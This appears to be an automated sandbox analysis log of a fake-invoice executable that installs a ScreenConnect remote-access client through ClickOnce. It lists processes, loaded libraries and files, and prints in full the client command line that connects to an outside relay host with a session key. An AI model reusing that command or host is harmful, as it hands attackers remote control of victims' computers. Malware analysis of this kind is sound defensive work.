Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: E_BILL9926378035.exe
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log
Detected potential crypto function
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EFA495 0_2_00EFA495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8B0FB0 1_2_00007FFD9B8B0FB0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B89AEF5 1_2_00007FFD9B89AEF5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8BAD85 1_2_00007FFD9B8BAD85
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8A3369 1_2_00007FFD9B8A3369
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B89FA11 1_2_00007FFD9B89FA11
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8B2900 1_2_00007FFD9B8B2900
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B891211 1_2_00007FFD9B891211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B896138 1_2_00007FFD9B896138
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8B3061 1_2_00007FFD9B8B3061
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 11_2_01CB87A9 11_2_01CB87A9
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9B8970BD 12_2_00007FFD9B8970BD
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9B8910D7 12_2_00007FFD9B8910D7
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9B8910CF 12_2_00007FFD9B8910CF
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBAD9F2 12_2_00007FFD9BBAD9F2
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBAD12D 12_2_00007FFD9BBAD12D
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA5944 12_2_00007FFD9BBA5944
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA5731 12_2_00007FFD9BBA5731
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA5F8A 12_2_00007FFD9BBA5F8A
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA5D9C 12_2_00007FFD9BBA5D9C
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA64D2 12_2_00007FFD9BBA64D2
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1928 -ip 1928
Uses 32bit PE files
Source: E_BILL9926378035.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: classification engine Classification label: mal69.troj.evad.winEXE@17/74@2/2
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00EF1000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Deployment Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1928
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Command line argument: dfshim 0_2_00EF1000
Source: E_BILL9926378035.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: E_BILL9926378035.exe ReversingLabs: Detection: 18%
Source: E_BILL9926378035.exe Virustotal: Detection: 14%
Source: unknown Process created: C:\Users\user\Desktop\E_BILL9926378035.exe "C:\Users\user\Desktop\E_BILL9926378035.exe"
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1928 -ip 1928
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 856
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" "RunRole" "03b72f57-2802-4bff-bb34-56b3497bf3fc" "User"
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1928 -ip 1928 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 856 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe" "RunRole" "03b72f57-2802-4bff-bb34-56b3497bf3fc" "User"
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wersvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windowsperformancerecordercontrol.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: weretw.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: faultrep.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbgcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
